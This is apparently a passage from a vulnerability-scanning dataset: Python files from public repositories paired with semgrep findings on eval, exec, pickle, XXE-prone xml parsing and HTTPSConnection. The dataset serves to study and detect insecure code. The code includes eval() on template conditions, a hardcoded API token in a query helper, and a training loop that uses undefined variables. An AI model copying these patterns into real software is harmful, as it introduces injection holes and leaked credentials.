#df.to_csv('DrugBank_Version5.1.1.csv',index=False) | 110 | 20.83 | 96 | 16 | 639 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_f6a6a94e43d457ec_fccc520c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 15, "line_end": 15, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/f6a6a94e43d457ec.py", "start": {"line": 15, "col": 1, "offset": 224}, "end": {"line": 15, "col": 35, "offset": 258}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
15
] | [
15
] | [
1
] | [
35
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | ExtractFromDrugbank.py | /py_work/spider/xml/ExtractFromDrugbank.py | kotori-y/kotori_work | MIT | |
2024-11-18T18:59:36.430865+00:00 | 1,526,898,153,000 | 1aa086829453a678f6572098d89e4caf5e38f4a0 | 3 | {
"blob_id": "1aa086829453a678f6572098d89e4caf5e38f4a0",
"branch_name": "refs/heads/master",
"committer_date": 1526898153000,
"content_id": "6b01882afa0205a97dacd85c19b41e33b565045f",
"detected_licenses": [
"MIT"
],
"directory_id": "bdd3934561bc49bb05f55839ece1d069bf6e37ca",
"extension": "py",
"filename": "temp_display.py",
"fork_events_count": 3,
"gha_created_at": 1511784004000,
"gha_event_created_at": 1522141413000,
"gha_language": "Python",
"gha_license_id": null,
"github_id": 112190867,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 629,
"license": "MIT",
"license_type": "permissive",
"path": "/src/temp_display.py",
"provenance": "stack-edu-0054.json.gz:569270",
"repo_name": "LLNT/3X-Project",
"revision_date": 1526898153000,
"revision_id": "864406a197cae567e564a0cefb891e92ec0f820a",
"snapshot_id": "790cd1e52df48ceafb899bf0453b841ce35765ee",
"src_encoding": "UTF-8",
"star_events_count": 6,
"url": "https://raw.githubusercontent.com/LLNT/3X-Project/864406a197cae567e564a0cefb891e92ec0f820a/src/temp_display.py",
"visit_date": "2021-09-14T22:28:33.395944"
} | 2.53125 | stackv2 | from pyglet.gl import *
from cocos.director import director
def exec():
return 0
def test_a():
assert exec()==0
# Direct OpenGL commands to this window.
director.init()
window = director.window
joysticks = pyglet.input.get_joysticks()
if joysticks:
joystick = joysticks[0]
print(joystick)
@window.event
def on_draw():
glClear(GL_COLOR_BUFFER_BIT)
glLoadIdentity()
glBegin(GL_TRIANGLES)
glVertex2f(0, 0)
glVertex2f(window.width, 0)
glVertex2f(window.width, window.height)
glEnd()
@joystick.event
def on_joybutton_press(joystick, button):
print(joystick, button)
director.run()
| 35 | 16.97 | 43 | 9 | 164 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.exec-detected_bbdbbc32cf01cb2e_a79b24ae", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.exec-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 12, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.exec-detected", "path": "/tmp/tmpb8jm_z1l/bbdbbc32cf01cb2e.py", "start": {"line": 8, "col": 12, "offset": 112}, "end": {"line": 8, "col": 18, "offset": 118}, "extra": {"message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b102_exec_used.html", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-95"
] | [
"rules.python.lang.security.audit.exec-detected"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
8
] | [
8
] | [
12
] | [
18
] | [
"A03:2021 - Injection"
] | [
"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."
] | [
5
] | [
"LOW"
] | [
"HIGH"
] | temp_display.py | /src/temp_display.py | LLNT/3X-Project | MIT | |
2024-11-18T18:59:37.115418+00:00 | 1,613,983,506,000 | cb29b50b92d78ae271482bf5bd67b09e0c87512d | 3 | {
"blob_id": "cb29b50b92d78ae271482bf5bd67b09e0c87512d",
"branch_name": "refs/heads/main",
"committer_date": 1613983506000,
"content_id": "cef0983fb9fb5ac5fae6765b5c97a66d232db152",
"detected_licenses": [
"MIT"
],
"directory_id": "357aee5b738c06e7127ca0473a0a69c1637f034a",
"extension": "py",
"filename": "neural_network.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 341129468,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8024,
"license": "MIT",
"license_type": "permissive",
"path": "/Layers/neural_network.py",
"provenance": "stack-edu-0054.json.gz:569275",
"repo_name": "rjnp2/deep_learning_from_scratch",
"revision_date": 1613983506000,
"revision_id": "9983379e5ec95ec497a62af182c16264cf737323",
"snapshot_id": "845c74a69dd0f705ccab419e213b3ec65aaaf5be",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/rjnp2/deep_learning_from_scratch/9983379e5ec95ec497a62af182c16264cf737323/Layers/neural_network.py",
"visit_date": "2023-03-06T16:55:33.683908"
} | 2.921875 | stackv2 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Fri Oct 2 15:13:41 2020
@author: rjn
"""
from deeplearning.utils import batch_iterator
from tabulate import tabulate
import sys
from tqdm import tqdm
import time
import datetime
import pickle
import cupy as cp
import numpy as np
class NeuralNetwork():
"""Neural Network. Deep Learning base model.
Parameters:
-----------
optimizer: class
The weight optimizer that will be used to tune the weights in order of minimizing
the loss.
loss: class
Loss function used to measure the model's performance.
"""
def __init__(self, optimizer, loss):
self.optimizer = optimizer
self.layers = []
self.errors = {"training": [], "validation": []}
self.loss_function = loss()
def set_trainable(self, trainable):
""" Method which enables freezing of the weights of the network's layers."""
for layer in self.layers:
layer.trainable = trainable
def add(self, layer):
""" Method which adds a layer to the neural network """
# If this is not the first layer added then set the input shape
# to the output shape of the last added layer
if self.layers:
layer.set_input_shape(shape=self.layers[-1].determin_output_shape())
layer.valid_layer()
# If the layer has weights that needs to be initialized
if hasattr(layer, 'initialize'):
layer.initialize(optimizer=self.optimizer)
# Add layer to the network
self.layers.append(layer)
def test_on_batch(self, X, y):
""" Evaluates the model over a single batch of samples """
y_pred = self._forward_pass(cp.asarray(X), training=False)
loss = cp.mean(self.loss_function.loss(cp.asarray(y), y_pred))
acc = self.loss_function.acc(y, y_pred)
return loss, acc
def train_on_batch(self, X, y):
""" Single gradient update over one batch of samples """
y_pred = self._forward_pass(cp.asarray(X))
cp.cuda.Stream.null.synchronize()
loss = self.loss_function.loss(cp.asarray(y), y_pred)
cp.cuda.Stream.null.synchronize()
# acc = self.loss_function.acc(y, y_pred)
# Calculate the gradient of the loss function wrt y_pred
loss_grad = self.loss_function.gradient(cp.asarray(y), y_pred)
cp.cuda.Stream.null.synchronize()
# # Backpropagate. Update weights
self._backward_pass(loss_grad=loss_grad)
cp.cuda.Stream.null.synchronize()
return loss
def fit(self, X, y, n_epochs, batch_size, val_set=None):
""" Trains the model for a fixed number of epochs """
for epo in range(1, n_epochs+1):
print('n_epochs: ', epo ,end ='\n')
batch_error = []
start = time.time()
tot = np.round(X.shape[0] / batch_size)
i = 0
for X_batch, y_batch in batch_iterator(X, y, batch_size=batch_size):
X_batch = X_batch.astype('float32')
X_batch = X_batch / 255
y_batch = y_batch.astype('float32')
y_batch = (y_batch - 48) / 48
loss = self.train_on_batch(X_batch, y_batch)
batch_error.append(loss)
t = datetime.timedelta(seconds= (time.time() - start))
i += 1
sys.stdout.write('\r' + 'time: ' + str(t) + ' complete: ' +
str(np.round((i/tot),3)) + ' t_loss: ' + str(loss))
self.errors["training"].append(np.mean(batch_error))
print('\t')
if val_set is not None:
for X_batch, y_batch in batch_iterator(val_set[0], val_set[1], batch_size=batch_size):
X_batch = X_batch.astype('float32')
X_batch = X_batch / 255
y_batch = y_batch.astype('float32')
y_batch = (y_batch - 48) / 48
val_loss, _ = self.test_on_batch(X_batch, y_batch)
sys.stdout.write('\r' + ' val_loss:', str(val_loss))
self.errors["validation"].append(val_loss)
if save_files:
self.save()
if callback:
callback(self)
print()
del X,y, X_batch , y_batch , val_set
return self.errors["training"], self.errors["validation"]
def save(self , name = 'model.pkl'):
name = '/home/rjn/Pictures/' + name
pickle.dump(self, open(name, 'wb'),pickle.HIGHEST_PROTOCOL)
def _forward_pass(self, X, training=True):
""" Calculate the output of the NN """
for layer in self.layers:
X = layer.forward_pass(X.copy(), training)
return X
def _backward_pass(self, loss_grad):
""" Propagate the gradient 'backwards' and update the weights in each layer """
for layer in reversed(self.layers):
loss_grad = layer.backward_pass(loss_grad)
def get_weights(self):
table_data = np.array([['layer_name', 'parameterW', 'parameterb']])
for n,layer in tqdm(enumerate(self.layers)):
parameter = layer.load_parameters()
layer_name = layer.layer_name() + '_' + str(n)
W = parameter['W']
b = parameter['b']
table_data = np.append( table_data, [[layer_name,W,b]],axis =0)
print()
print(tabulate(table_data[:,:1],tablefmt="fancy_grid"))
return table_data
def load_weights(self,loader):
for n,values in enumerate(zip(self.layers, loader)):
layer = values[0]
values = values[1]
print(values[0])
shap = layer.load_parameters()
if shap is not None:
shap = (cp.asarray(shap["W"]).shape , cp.asarray(shap["b"]).shape)
print('orig ' , shap)
W = cp.asarray(values[1])
b = cp.asarray([])
if values[2] is not None:
b = cp.asarray(values[2])
sshap = (W.shape, b.shape)
print('loader ' , sshap)
if shap == sshap :
layer.set_weights((W,b))
shap = layer.load_parameters()
shap = (shap["W"].shape , shap["b"].shape)
print('after ' , sshap)
print()
def summary(self, name="Model Summary"):
# Print model name
# Network input shape (first layer's input shape)
# Iterate through network and get each layer's configuration
table_data = [ ["Input Shape:", self.layers[0].input_shape],
["Layer Type", "Parameters", "Output Shape"]]
tot_params = 0
for n,layer in tqdm(enumerate(self.layers)):
layer_name = layer.layer_name() + '_' + str(n)
params = layer.parameters()
out_shape = layer.determin_output_shape()
table_data.append([layer_name, str(params), str(out_shape)])
tot_params += params
# Print network configuration table
table_data.append(["Total Parameters: ", tot_params ])
print()
print(tabulate(table_data,tablefmt="grid"))
del table_data
def predict(self, X):
""" Use the trained model to predict labels of X """
X = cp.asarray(X) / 255
return self._forward_pass(X).get()
| 234 | 33.29 | 102 | 22 | 1,721 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_cd4e17849ddc841d_50a1d56c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 139, "line_end": 139, "column_start": 9, "column_end": 68, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/cd4e17849ddc841d.py", "start": {"line": 139, "col": 9, "offset": 4697}, "end": {"line": 139, "col": 68, "offset": 4756}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
139
] | [
139
] | [
9
] | [
68
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | neural_network.py | /Layers/neural_network.py | rjnp2/deep_learning_from_scratch | MIT | |
2024-11-18T18:59:37.343794+00:00 | 1,445,805,382,000 | f64434934d03860bb94a292acddbbab4077f4d2c | 2 | {
"blob_id": "f64434934d03860bb94a292acddbbab4077f4d2c",
"branch_name": "refs/heads/master",
"committer_date": 1445805382000,
"content_id": "5f0340eb56bc03372bc8037ae43e60b2db16825e",
"detected_licenses": [
"MIT"
],
"directory_id": "eaaddeb092cb8f4625e86f0ccc8b90515fa3d66e",
"extension": "py",
"filename": "soql.py",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 44878544,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2097,
"license": "MIT",
"license_type": "permissive",
"path": "/api/soql.py",
"provenance": "stack-edu-0054.json.gz:569277",
"repo_name": "jthidalgojr/greengov2015-TeamAqua",
"revision_date": 1445805382000,
"revision_id": "a365a9ab3695db308e1e4fd96d58b1d25397265d",
"snapshot_id": "9b676b3e1e16fa718548049d7320c6deb0b37637",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/jthidalgojr/greengov2015-TeamAqua/a365a9ab3695db308e1e4fd96d58b1d25397265d/api/soql.py",
"visit_date": "2021-01-10T09:25:48.849336"
} | 2.390625 | stackv2 | from urllib import request
__author__ = 'James'
import json
import requests
from django.http import HttpResponse
from django.views import generic
from .models import portal
import api.soql
import urllib.parse
import http.client
class SoQL:
def __init__(self, resourceId):
self.resourceId = resourceId
self.params = {}
#max limit by default
self.limit(50000)
def _buildRequest(self):
return"/resource/" + self.resourceId + ".json?" + urllib.parse.urlencode(self.params)
#returns json string from query
def execute(self):
conn = http.client.HTTPSConnection('greengov.data.ca.gov')
conn.request("GET", self._buildRequest(), headers={"X-App-Token": "eZ54Yp2ubYQAEO2IvzxR7pPQu"})
return conn.getresponse().read().decode("utf-8")
def filter(self, column, value):
self.params[column] = value
return self
def multiFilter(self, filters):
self.params.update(filters)
return self
def select(self, columns):
self.params["$select"] = ",".join(columns)
return self
def where(self, condition):
self.params["$where"] = condition
return self
#"and" is reserved
def And(self, condition):
self.params["$where"] += " AND " + condition
return self
#e.g. {"total_miles": "DESC"}
def orderBy(self, columns):
columnsFormatted = [k+" "+v for k, v in columns.items()]
self.params["$order"] = ",".join(columnsFormatted)
return self
def groupBy(self, columns):
self.params["$group"] = ",".join(columns)
return self
def limit(self, lim):
self.params["$limit"] = str(lim)
return self
def offset(self, page):
self.params["$offset"] = str(page);
return self
def test():
query = (
SoQL("aazw-6wcw")
.filter("disposed","No")
.multiFilter({"fuel_type": "EVC"})
.orderBy({"total_miles": "DESC"})
.select(["vin", "agency"])
)
print(query._buildRequest())
print(query.execute())
| 87 | 23.1 | 103 | 18 | 510 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.httpsconnection-detected_d1dec74ca54bdee7_4fd861c0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.httpsconnection-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information.", "remediation": "", "location": {"file_path": "unknown", "line_start": 32, "line_end": 32, "column_start": 16, "column_end": 67, "code_snippet": "requires login"}, "cwe_id": "CWE-295: Improper Certificate Validation", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.httpsconnection-detected", "path": "/tmp/tmpb8jm_z1l/d1dec74ca54bdee7.py", "start": {"line": 32, "col": 16, "offset": 602}, "end": {"line": 32, "col": 67, "offset": 653}, "extra": {"message": "The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information.", "metadata": {"owasp": ["A03:2017 - Sensitive Data Exposure", "A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "cwe": ["CWE-295: Improper Certificate Validation"], "references": ["https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-295"
] | [
"rules.python.lang.security.audit.httpsconnection-detected"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
32
] | [
32
] | [
16
] | [
67
] | [
"A03:2017 - Sensitive Data Exposure"
] | [
"The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnecti... | [
5
] | [
"LOW"
] | [
"LOW"
] | soql.py | /api/soql.py | jthidalgojr/greengov2015-TeamAqua | MIT | |
2024-11-18T18:59:39.654360+00:00 | 1,438,457,330,000 | 164018e3ee2ed78a7a06bcd8da83dde0586b2472 | 3 | {
"blob_id": "164018e3ee2ed78a7a06bcd8da83dde0586b2472",
"branch_name": "refs/heads/master",
"committer_date": 1438457330000,
"content_id": "51077a2a95fc620fa479fc18a63256e627cda92f",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "8e695d33405365e68ffabee6ceeaef9f6af7fa34",
"extension": "py",
"filename": "engine.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4990,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/textgenerator/engine.py",
"provenance": "stack-edu-0054.json.gz:569298",
"repo_name": "yespon/text-generator",
"revision_date": 1438457330000,
"revision_id": "4036c57882805c2b83bf61cfdaeb86bc1cd7c207",
"snapshot_id": "e8d62880ac7b44b48e719a6f20613c334ca8d82d",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/yespon/text-generator/4036c57882805c2b83bf61cfdaeb86bc1cd7c207/textgenerator/engine.py",
"visit_date": "2020-05-09T19:58:25.544348"
} | 2.71875 | stackv2 | # -*- coding: utf-8 -*-
import copy
import re
import random
PATTERN_VAR = r"<[^>\n]+>"
PATTERN_INCLUDE = r"\[[^\]\n]+\]"
PATTERN_FOR_TOKENS = r'>|>=|<|<=|==|or|and|[\w\d]+'
def get_sub_tpl_by_name(sub_tpl, name_tpl):
for tpl in sub_tpl:
if tpl['name'] == name_tpl:
return copy.deepcopy(tpl)
raise KeyError('not sub tpl name = %s' % name_tpl)
def get_text_patterns(tpl, patterns):
result = re.finditer(patterns, tpl)
variables = []
for match in result:
variables.append(match.group()[1:-1].replace(' ', ''))
return variables
def insert_value_in_tpl(tpl, variables, pattern):
pattern = re.compile(pattern)
for variable in variables:
tpl = pattern.sub(variable, tpl, 1)
return tpl
def generate_text(context):
main_tpls = choice_tpl_by_probability(context['tpls'], context['tpl_vars'])
tpl = choice_tpl_by_probability(main_tpls['values'], context['tpl_vars'])['value']
names_sub_tpl = get_text_patterns(tpl, PATTERN_INCLUDE)
if names_sub_tpl and context['sub_tpls']:
for name in names_sub_tpl:
l_sub_tpl = get_sub_tpl_by_name(context['sub_tpls'], name)
sub_tpl = choice_tpl_by_probability(l_sub_tpl['values'], context['tpl_vars'])
render_sub_tpl = _render(sub_tpl['value'], context)
tpl = spintax(insert_value_in_tpl(tpl, [render_sub_tpl], PATTERN_INCLUDE))
return _render(tpl, context)
def _render(tpl, context):
variables = get_text_patterns(tpl, PATTERN_VAR)
render_vars = render_tpl_vars(variables, context)
return spintax(insert_value_in_tpl(tpl, render_vars, PATTERN_VAR))
def _fabric_tplengine_functions(name_function, context):
try:
func = getattr(context['funcs'], name_function)
except AttributeError:
return None
return func
def _parse_funcs_and_params(funcs_data):
data_var = funcs_data.split('~')
funcs = []
variable = data_var.pop(0)
for item in data_var:
data = item.split(':')
func_name = data.pop(0)
funcs.append((func_name, data))
return variable, funcs
def spintax(value):
if isinstance(value, str):
value = value.decode('utf8')
delimiter = '|'
while True:
value, count_values = re.subn(
'{([^{}]*)}',
lambda m: random.choice(m.group(1).split(delimiter)),
value
)
if count_values == 0:
break
return value
def render_tpl_vars(variables, context):
res = variables[:]
value_vars = context['tpl_vars']
for i, tpl_var in enumerate(variables):
var, funcs = _parse_funcs_and_params(tpl_var)
if var in value_vars:
render_var = _render_variables_with_funcs(value_vars[var], funcs, context)
res[i] = render_var
return res
def _render_variables_with_funcs(var_value, functions, context):
if isinstance(var_value, str):
var_value = var_value.decode('utf-8')
value = var_value
for func in functions:
tpl_func = _fabric_tplengine_functions(func[0], context)
if tpl_func:
value = tpl_func(value, *func[1])
return value
def choice_tpl_by_probability(list_tpl, vars_tpl):
group = _group_tpl_by_id(list_tpl, vars_tpl)
return _choice_from_group_probability(group, random.randint(1, group[1]))
def _group_tpl_by_id(list_tpl, vars_tpl):
probability_list = []
max_num_probability = 0
for item in list_tpl:
if not item.get('conditions', False) or validate_conditions(
item.get('conditions'), vars_tpl
):
probability = item.get('probability', 1)
probability_list.append((max_num_probability, max_num_probability + probability, item))
max_num_probability += probability
return probability_list, max_num_probability
def _choice_from_group_probability(group_probability, num_probability):
probability_list, max_num_probability = group_probability
if max_num_probability:
for start_prob, end_prob, item in probability_list:
if start_prob < num_probability <= end_prob:
return item
def parse_conditions(tpl_conditions):
tokens_compile = re.compile(PATTERN_FOR_TOKENS)
tokens = tokens_compile.findall(tpl_conditions)
return tokens
def replace_var_conditions(token_conditions, vars_data):
tokens = token_conditions[:]
for i, token in enumerate(tokens):
if token in vars_data:
tokens[i] = vars_data[token]
return tokens
def execute_conditions(conditions):
cond = ' '.join([str(it) for it in conditions])
try:
return eval(cond)
except SyntaxError:
return False
def validate_conditions(tpl_conditions, data_conditions):
tokens_conditions = parse_conditions(tpl_conditions)
conditions_for_execute = replace_var_conditions(tokens_conditions, data_conditions)
return execute_conditions(conditions_for_execute)
| 170 | 28.35 | 99 | 17 | 1,137 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_a2a49a52ba56a476_f6852be5", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 162, "line_end": 162, "column_start": 16, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/a2a49a52ba56a476.py", "start": {"line": 162, "col": 16, "offset": 4675}, "end": {"line": 162, "col": 26, "offset": 4685}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
162
] | [
162
] | [
16
] | [
26
] | [
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."
] | [
5
] | [
"LOW"
] | [
"HIGH"
] | engine.py | /textgenerator/engine.py | yespon/text-generator | BSD-2-Clause | |
2024-11-18T19:11:47.990876+00:00 | 1,677,595,148,000 | b7e89f481982b05cb185314a461e40ee6ec37c27 | 3 | {
"blob_id": "b7e89f481982b05cb185314a461e40ee6ec37c27",
"branch_name": "refs/heads/master",
"committer_date": 1677595148000,
"content_id": "ed0d92bc2a439d45d05234af0b41939d6b49a8a7",
"detected_licenses": [
"MIT"
],
"directory_id": "ab218a8c6e1d994c5eae3f6abb5940a4a2d46fe3",
"extension": "py",
"filename": "proximity.py",
"fork_events_count": 29,
"gha_created_at": 1542356878000,
"gha_event_created_at": 1554892262000,
"gha_language": null,
"gha_license_id": "MIT",
"github_id": 157836329,
"is_generated": false,
